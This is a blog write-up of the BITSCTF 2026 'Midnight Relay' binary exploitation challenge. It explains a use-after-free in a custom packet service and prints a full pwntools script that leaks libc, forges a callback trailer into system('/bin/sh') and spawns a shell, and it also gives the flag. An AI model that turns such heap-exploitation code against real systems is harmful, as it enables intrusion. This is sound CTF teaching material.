551 words
3 minutes
BITSCTF 2026 - Midnight Relay - Binary Exploitation Writeup

Category: Binary Exploitation
Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}

Challenge Description#

Given midnight_relay.tar.gz. Remote: nc 20.193.149.152 1338

Protocol: Packet header = op (u8) | key (u8) | len (u16 LE), max payload 0x500. Operations: 0x11 forge, 0x22 tune, 0x33 observe, 0x44 shred, 0x55 sync, 0x66 fire.

Analysis#

Each slot (idx & 0xf) entry contains: ptr (qword), size (u16), armed (u8).

forge allocates calloc(1, size+0x20) and writes trailer at t = ptr + size:

t[0] = (t >> 12) ^ cookie ^ 0x48454c494f5300ff
t[3] = ((rand()<<32) ^ rand())
t[2] = ptr
t[1] = (t >> 13) ^ idle ^ t[0] ^ t[3]

fire computes callback: fn = (t >> 13) ^ t[0] ^ t[1] ^ t[3] then call fn(). Important: rdi contains ptr at call rax, so if fn = system, it executes system(ptr).

Vulnerabilities:

  • Use-after-free: shred frees chunk but does not clear slots[idx].ptr
  • UAF read/write: observe/tune can still access freed memory
  • Trailer rewrite: tune can rewrite all trailer fields (size+0x20 window)

Exploitation#

  1. Forge chunk 0 with /bin/sh\x00 at chunk start
  2. Leak ptr + cookie from trailer (observe(0, size, 0x20))
  3. Free large chunk (size 0x500) and leak unsorted-bin pointer at offset 0x20
  4. Compute libc base: libc_base = unsorted_fd - 0x203B20
  5. Restore /bin/sh\x00 at chunk start (free clobbers first bytes)
  6. Forge valid trailer so decoded callback = system
  7. sync with correct token, then fire => system('/bin/sh')
#!/usr/bin/env python3
from pwn import *

HOST, PORT = '20.193.149.152', 1338
CONST = 0x48454C494F5300FF
INIT_EPOCH = 0x6B1D5A93
MAIN_ARENA_PLUS60 = 0x203B20
SYSTEM_OFF = 0x58750

io = remote(HOST, PORT)
io.recvline()

epoch = INIT_EPOCH


def key(payload: bytes) -> int:
    global epoch
    x = epoch
    for b in payload:
        x = ((x * 8) ^ (x >> 2) ^ b ^ 0x71) & 0xFFFFFFFF
    return x & 0xFF


def bump(op: int):
    global epoch
    epoch ^= ((op << 9) | 0x5F)
    epoch &= 0xFFFFFFFF


def send_pkt(op: int, payload: bytes = b''):
    io.send(p8(op) + p8(key(payload)) + p16(len(payload)) + payload)


def forge(idx: int, size: int, tag: bytes):
    send_pkt(0x11, p8(idx) + p16(size) + p8(len(tag)) + tag)
    bump(0x11)


def tune(idx: int, off: int, data: bytes):
    send_pkt(0x22, p8(idx) + p16(off) + p16(len(data)) + data)
    bump(0x22)


def observe(idx: int, off: int, n: int) -> bytes:
    send_pkt(0x33, p8(idx) + p16(off) + p16(n))
    d = io.recvn(n, timeout=2)
    if len(d) != n:
        raise EOFError(f"short observe: expected {n}, got {len(d)}")
    bump(0x33)
    return d


def shred(idx: int):
    send_pkt(0x44, p8(idx))
    bump(0x44)


def sync(idx: int, token: int):
    send_pkt(0x55, p8(idx) + p32(token))
    bump(0x55)


def fire(idx: int):
    send_pkt(0x66, p8(idx))
    bump(0x66)


# 1) Allocate command chunk and leak trailer
idx = 0
size = 0x500
forge(idx, size, b'/bin/sh\x00')
tr = observe(idx, size, 0x20)
t0, t1, ptr, t3 = [u64(tr[i:i+8]) for i in range(0, 32, 8)]
cookie = t0 ^ ((ptr + size) >> 12) ^ CONST

# 2) Leak libc from unsorted bin
forge(1, 0x80, b'G')
shred(idx)
unsorted_fd = u64(observe(idx, 0x20, 8))
libc_base = unsorted_fd - MAIN_ARENA_PLUS60
system = libc_base + SYSTEM_OFF

# Restore command string (free metadata clobbered chunk start)
tune(idx, 0, b'/bin/sh\x00')

# 3) Forge authenticated trailer for callback=system
T = ptr + size
ft0 = ((T >> 12) ^ cookie ^ CONST) & ((1 << 64) - 1)
ft3 = 0
ft2 = ptr
ft1 = ((T >> 13) ^ system ^ ft0 ^ ft3) & ((1 << 64) - 1)
tune(idx, size, p64(ft0) + p64(ft1) + p64(ft2) + p64(ft3))

# 4) Arm and trigger
token = (epoch ^ (ft0 & 0xFFFFFFFF) ^ (ft3 & 0xFFFFFFFF)) & 0xFFFFFFFF
sync(idx, token)
fire(idx)

# 5) Read flag
io.sendline(b'cat /app/flag.txt; exit')
print(io.recvrepeat(2).decode('latin-1', errors='ignore'))
io.close()
BITSCTF 2026 - Midnight Relay - Binary Exploitation Writeup
https://blog.rei.my.id/posts/44/bitsctf-2026-midnight-relay-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-02-22
License
CC BY-NC-SA 4.0